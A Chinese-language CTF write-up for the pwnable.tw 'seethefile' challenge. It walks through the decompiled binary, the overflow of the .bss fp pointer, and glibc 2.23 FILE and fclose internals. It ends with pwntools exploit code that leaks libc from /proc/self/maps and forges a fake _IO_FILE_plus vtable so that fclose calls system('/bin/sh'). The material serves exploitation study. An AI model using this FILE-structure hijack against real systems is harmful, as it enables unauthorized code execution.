1 程序分析

32 位,只开了 NX,但是实际上也开了 Canary,libc 版本为 2.23

1
2
3
4
5
6
7
8
9
10
(pwn) secreu@Vanilla:~/code/pwnable/seethefile$ checksec --file=seethefile
[*] '/home/secreu/code/pwnable/seethefile/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
(pwn) secreu@Vanilla:~/code/pwnable/seethefile$ strings libc_32.so.6 | grep "Ubuntu GLIBC"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.

提供了 openfilereadfilewritefileclosefile 以及 exit 功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char nptr[32]; // [esp+Ch] [ebp-2Ch] BYREF
unsigned int v5; // [esp+2Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
init();
welcome();
while ( 1 )
{
menu();
__isoc99_scanf("%s", nptr);
switch ( atoi(nptr) )
{
case 1:
openfile();
break;
case 2:
readfile();
break;
case 3:
writefile();
break;
case 4:
closefile();
break;
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0);
return result;
default:
puts("Invaild choice");
exit(0);
return result;
}
}
}

1.1 openfile

输入 filename,调用 fopen 打开文件得到一个 _IO_FILE *fp,存放在 .bss 节上的 0x804B280

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int openfile()
{
if ( fp )
{
puts("You need to close the file first");
return 0;
}
else
{
memset(magicbuf, 0, 0x190u);
printf("What do you want to see :");
__isoc99_scanf("%63s", filename);
if ( strstr(filename, "flag") )
{
puts("Danger !");
exit(0);
}
fp = fopen(filename, "r");
if ( fp )
return puts("Open Successful");
else
return puts("Open failed");
}
}

1.2 readfile

从打开的 fp 中读取内容到 magicbuf 中,也就是 .bss 节上 0x804B0C0,一次最多读取 0x18F 字节

1
2
3
4
5
6
7
8
9
10
11
12
size_t readfile()
{
size_t result; // eax

memset(magicbuf, 0, 0x190u);
if ( !fp )
return puts("You need to open a file first");
result = fread(magicbuf, 0x18Fu, 1u, fp);
if ( result )
return puts("Read Successful");
return result;
}

1.3 writefile

将读取到 magicbuf 中的内容 puts 输出,不能包含 “flag”、”FLAG”、”}”

1
2
3
4
5
6
7
8
9
int writefile()
{
if ( strstr(filename, "flag") || strstr(magicbuf, "FLAG") || strchr(magicbuf, 125) )
{
puts("you can't see it");
exit(1);
}
return puts(magicbuf);
}

1.4 closefile

关闭文件,也就是清空 fp

1
2
3
4
5
6
7
8
9
10
11
int closefile()
{
int result; // eax

if ( fp )
result = fclose(fp);
else
result = puts("Nothing need to close");
fp = 0;
return result;
}

1.5 exit

要求我们输入一个 name,存放在 .bss 节上 0x804B260,注意 __isoc99_scanf("%s", name) 没有限制输入的长度,可以覆盖 0x804B280 上的 fp

1
2
3
4
5
6
7
8
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0);
return result;

2 背景知识

2.1 _IO_FILE

文件结构体 _IO_FILE,在 libc-2.23 中定义如下,在本题中的 fp 就是这个类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

2.2 _IO_FILE_plus

但是在 libc 实际上会多加一个地址 const struct _IO_jump_t *vtable,组成 _IO_FILE_plus 结构体

1
2
3
4
5
6
7
8
9
10
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

stdout_IO_FILE 类型,_IO_2_1_stdout__IO_FILE_plus 类型,但是它们都指向同一个地址,stdinstderr 也是如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _IO_FILE_plus;

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
#else
extern _IO_FILE *_IO_stdin attribute_hidden;
extern _IO_FILE *_IO_stdout attribute_hidden;
extern _IO_FILE *_IO_stderr attribute_hidden;
#endif

stdout

最后的地址 vtable 指向一个全局的函数表,该表在 libc 对应的虚拟内存空间的固定偏移上,存放了许多 IO 操作相关的函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

vtable

2.3 _IO_list_all

_IO_list_all 是一个全局的单项链表,该链表通过 _IO_FILE *_chain 字段连接起来。通常情况下该链表中为 stderr -> stdout -> stdinfopen 打开了新的 _IO_FILE,会采用头插法将其插入 _IO_list_allfclose 则会将其移出 _IO_list_all

IO_list_all

2.4 fclose

查看 libc-2.23 源码可知其实际执行的函数为 _IO_new_fclose。该函数会先检查 _vtable_offset;然后根据 _flags 调用 _IO_un_link 将文件结构体从 _IO_list_all 链表中取下,调用 _IO_file_close_it 关闭文件并释放缓冲区,该函数中会调用 vtable 上的 _IO_SYSCLOSE;接着还会调用 vtable 上的 _IO_FINISH 函数。

fclose 的利用主要就是针对 vtable 上的 _IO_SYSCLOSE_IO_FINISH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;

CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif

/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);

_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;

__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}

return status;
}

3 漏洞利用

整体利用方法就是利用 __isoc99_scanf("%s", name) 控制 fp,伪造 _IO_FILE_plus 结构体,从而 fclose(fp) 劫持执行流

3.1 泄露 Libc

文件 /proc/self/maps 记录了当前进程的虚拟内存映射信息,我们只需要输出该文件的信息即可找到 libc,一次 readfile() 能读取的字节数是有限的,可能要多读几次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    openfile(b'/proc/self/maps')
readfile()
readfile()
writefile()
io.recvuntil(b'[heap]\n')
# io.recvuntil(b'00000000 00:00 0 \n')
libc_base = int(io.recv(8), 16)
system_addr = libc_base + libc.symbols['system']
log.info('libc_base: ' + hex(libc_base))
log.info('system_addr: ' + hex(system_addr))
closefile()
'''
[DEBUG] Received 0x221 bytes:
b'0 14901 /home/secreu/code/pwnable/seethefile/seethefile\n'
b'09cae000-09cd0000 rw-p 00000000 00:00 0 [heap]\n'
b'f7d6b000-f7f1a000 r-xp 00000000 08:30 276003 /home/secreu/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so\n'
b'f7f1a000-f7f1b000 ---p 001af000 08:30 276003 /home/secreu/glibc-al\n'
b'---------------MENU---------------\n'
b' 1. Open\n'
b' 2. Read\n'
b' 3. Write to screen\n'
b' 4. Close\n'
b' 5. Exit\n'
b'----------------------------------\n'
b'Your choice :'
[*] libc_base: 0xf7d6b000
[*] system_addr: 0xf7da5d80
'''

3.2 fclose 劫持执行流

根据之前对 fclose 的分析,我们要伪造一个 _IO_FILE_plus 结构体,将 fp 指向该结构体,其中的 vtable 指针指向伪造的函数表,我们选择打 _IO_FINISH,也就是函数表的第 3 项

首先,我们伪造的 vtable 只准备前 3 项到 _IO_FINISH,所以要避免调用 _IO_SYSCLOSEfclose 中执行 _IO_file_close_it (fp) 的条件为 fp->_IO_file_flags & _IO_IS_FILEBUF,其中 _IO_IS_FILEBUF 为 0x2000,所以我们伪造的 _IO_FILE_plus 结构体该字段值设置为 NOT(0x2000) = 0xFFFFDFFF

1
2
3
4
5
6
7
8
9
#define _IO_IS_FILEBUF 0x2000

_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);

其次,_IO_FINISH 传入参数为 fp,所以紧跟着 _flags 字段要写入 system 执行的字符串,并用分号分隔 “;/bin/sh\x00”

最后,通过 gdb 查看 vtable 字段在 _IO_FILE_plus 结构体中的偏移为 0x94,我们设置的 fake_fp 为 0x0804B280 + 0x4,也就是 fp 之后 4 字节,并让伪造的函数表紧跟着伪造的 _IO_FILE_plus 结构体,所以vtable 字段填写 fake_fp + 0x98

1
2
3
4
5
6
7
8
9
10
11
12
13
fake_fp = 0x0804B280 + 0x4

fake_file = p32(0xFFFFDFFF) # _flags
fake_file += b';/bin/sh\x00'
fake_file = fake_file.ljust(0x94, b'\x00')
fake_file += p32(fake_fp + 0x98) # vtable
fake_vtable = p32(0) * 2
fake_vtable += p32(system_addr) # __finish

payload = b'A' * 0x20 + p32(fake_fp) + fake_file + fake_vtable
leave(payload)

io.interactive()

整体 payload 布置如下图所示,在程序退出要求我们输入 name 时完成,接着程序调用 fclose 并最终调用 vtable 上的 _IO_FINISH,实际为 system

payload